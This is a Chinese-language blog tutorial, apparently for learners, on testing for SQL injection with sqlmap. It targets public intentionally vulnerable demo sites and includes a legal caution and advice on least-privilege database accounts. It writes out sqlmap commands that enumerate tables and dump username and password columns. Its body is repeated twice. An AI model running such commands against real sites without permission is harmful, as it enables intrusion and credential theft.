之前有講到網頁程式的一些安全防護,這邊要介紹一個工具sqlmap
這是一個專門測試是否具有sql injection漏洞的強大工具,建議對一些demo網站練習就好
如果要對別人網站使用之前,可能要考慮一下法律方面的問題
======================================================
Demo網站
一. http://demo.testfire.net/
二. http://testasp.vulnweb.com/
三. http://testphp.vulnweb.com/
四. http://testasp.vulnweb.com/
五. http://testhtml5.vulnweb.com/
六. http://google-gruyere.appspot.com/start
======================================================
首先sqlmap是一個用python開發的工具,所以要先安裝python接著再到git上下載最新版的sqlmap...
安裝的部分網頁上有很多可以參考
接著我們要入侵的第一步,找到網頁的注入點,也就是必須要有地方讓你輸入資料
所以我們必須先收集這些可以輸入資料的地方,當作注入點(可以使用google hacker之類的技術)
以http://testphp.vulnweb.com/ 為例,選擇登入的頁面,就有讓你輸入帳號與密碼的欄位
當看到這些欄位時,如果你熟悉sql injection發生的原因,就可以在輸入一些對資料庫來說
一些特殊意義的字元做測試(單引號 ' ,註解// # /* */)之類的,如果對方程式沒寫好
很可能就會直接跳出一些錯誤訊息給你,我們就可以直接判斷這個網頁存在sql injection的弱點
當找到相關的欄位後,可以使用firefox的plugin - live http headers之類的工具,開始抓取我們送出去的資料
例如我們帳號admin密碼也使用admin送出後,可以從抓到的資料裡面抓到這行
uname=admin&pass=admin: undefined
這就是我們送出去的資料,這時候我們就可以開始用sqlmap簡單的進行測試
./sqlmap.py -u "http://testphp.vulnweb.com/login.php" --data="uname=admin&pass=admin" --threads=4 --level=3 --risk=3 --table
-u 是要做測試的url
--data 是我們送出的欄位資料
--threads 表示要用幾條線程做測試,越高速度越快,但是有一些防禦設備你攻擊的速度太快會直接被列入黑名單
--level --risk是深度以及強度,建議使用3以上,越高拆解的速度越慢
--table 表示如果注入成功的話我要取出所有table name
如果注入成功的話,它會自動儲存這個網站注入成功的相關LOG,順利的話我們就可以取出他所使用資料庫帳號所有權限
的所有talbe以及相關欄位,接著更深入一點可以看一下欄位資料
./sqlmap.py -u "http://testphp.vulnweb.com/login.php" --data="uname=admin&pass=admin" -D dbname -T users --columns
-D 指定哪一個資料庫
-T 指定哪一張tables
--columns 我要取得欄位資料
最後可以嘗試dump所有資料或是dump特定欄位資料
./sqlmap.py -u "http://testphp.vulnweb.com/login.php" --data="uname=admin&pass=admin" -D dbname -T users --dump #所有欄位
./sqlmap.py -u "http://testphp.vulnweb.com/login.php" --data="uname=admin&pass=admin" -D dbname -T users --dump -C "username,passwd"
======================================================
那有些欄位可能是需要我們再登入後才可以進入的頁面,這時候我們就要加上一個參數
--cookie=COOKIE HTTP Cookie header value
我們手動登入之後一樣使用live http headers取得我們的cookie資料加在這個參數中即可
sqlmap還有其他更多詳細的參數可以用sqlmap --help參考
======================================================
我常常碰到一些人在寫網頁的時候,資料庫是預設使用root進行登入,如果在一個多人開發的主機上
這是一個蠻危險的方式,即使你有做好程式的安全性控管,但是你的同仁或其他開發者,不論是被
sql injection或是程式碼被取走,只要有一個洞被入侵,因為root這個帳號有所有資料庫的權限,基本
上一次就會全部失守,建議還是勤勞一點,每一個專案都用grant建立相關的帳號以及做好權限的控管。
這是一個專門測試是否具有sql injection漏洞的強大工具,建議對一些demo網站練習就好
如果要對別人網站使用之前,可能要考慮一下法律方面的問題
======================================================
Demo網站
一. http://demo.testfire.net/
二. http://testasp.vulnweb.com/
三. http://testphp.vulnweb.com/
四. http://testasp.vulnweb.com/
五. http://testhtml5.vulnweb.com/
六. http://google-gruyere.appspot.com/start
======================================================
首先sqlmap是一個用python開發的工具,所以要先安裝python接著再到git上下載最新版的sqlmap...
安裝的部分網頁上有很多可以參考
接著我們要入侵的第一步,找到網頁的注入點,也就是必須要有地方讓你輸入資料
所以我們必須先收集這些可以輸入資料的地方,當作注入點(可以使用google hacker之類的技術)
以http://testphp.vulnweb.com/ 為例,選擇登入的頁面,就有讓你輸入帳號與密碼的欄位
當看到這些欄位時,如果你熟悉sql injection發生的原因,就可以在輸入一些對資料庫來說
一些特殊意義的字元做測試(單引號 ' ,註解// # /* */)之類的,如果對方程式沒寫好
很可能就會直接跳出一些錯誤訊息給你,我們就可以直接判斷這個網頁存在sql injection的弱點
當找到相關的欄位後,可以使用firefox的plugin - live http headers之類的工具,開始抓取我們送出去的資料
例如我們帳號admin密碼也使用admin送出後,可以從抓到的資料裡面抓到這行
uname=admin&pass=admin: undefined
這就是我們送出去的資料,這時候我們就可以開始用sqlmap簡單的進行測試
./sqlmap.py -u "http://testphp.vulnweb.com/login.php" --data="uname=admin&pass=admin" --threads=4 --level=3 --risk=3 --table
-u 是要做測試的url
--data 是我們送出的欄位資料
--threads 表示要用幾條線程做測試,越高速度越快,但是有一些防禦設備你攻擊的速度太快會直接被列入黑名單
--level --risk是深度以及強度,建議使用3以上,越高拆解的速度越慢
--table 表示如果注入成功的話我要取出所有table name
如果注入成功的話,它會自動儲存這個網站注入成功的相關LOG,順利的話我們就可以取出他所使用資料庫帳號所有權限
的所有talbe以及相關欄位,接著更深入一點可以看一下欄位資料
./sqlmap.py -u "http://testphp.vulnweb.com/login.php" --data="uname=admin&pass=admin" -D dbname -T users --columns
-D 指定哪一個資料庫
-T 指定哪一張tables
--columns 我要取得欄位資料
最後可以嘗試dump所有資料或是dump特定欄位資料
./sqlmap.py -u "http://testphp.vulnweb.com/login.php" --data="uname=admin&pass=admin" -D dbname -T users --dump #所有欄位
./sqlmap.py -u "http://testphp.vulnweb.com/login.php" --data="uname=admin&pass=admin" -D dbname -T users --dump -C "username,passwd"
======================================================
那有些欄位可能是需要我們再登入後才可以進入的頁面,這時候我們就要加上一個參數
--cookie=COOKIE HTTP Cookie header value
我們手動登入之後一樣使用live http headers取得我們的cookie資料加在這個參數中即可
sqlmap還有其他更多詳細的參數可以用sqlmap --help參考
======================================================
我常常碰到一些人在寫網頁的時候,資料庫是預設使用root進行登入,如果在一個多人開發的主機上
這是一個蠻危險的方式,即使你有做好程式的安全性控管,但是你的同仁或其他開發者,不論是被
sql injection或是程式碼被取走,只要有一個洞被入侵,因為root這個帳號有所有資料庫的權限,基本
上一次就會全部失守,建議還是勤勞一點,每一個專案都用grant建立相關的帳號以及做好權限的控管。
zzz
2020/03/03 17:33
1=1
分頁: 1/1 1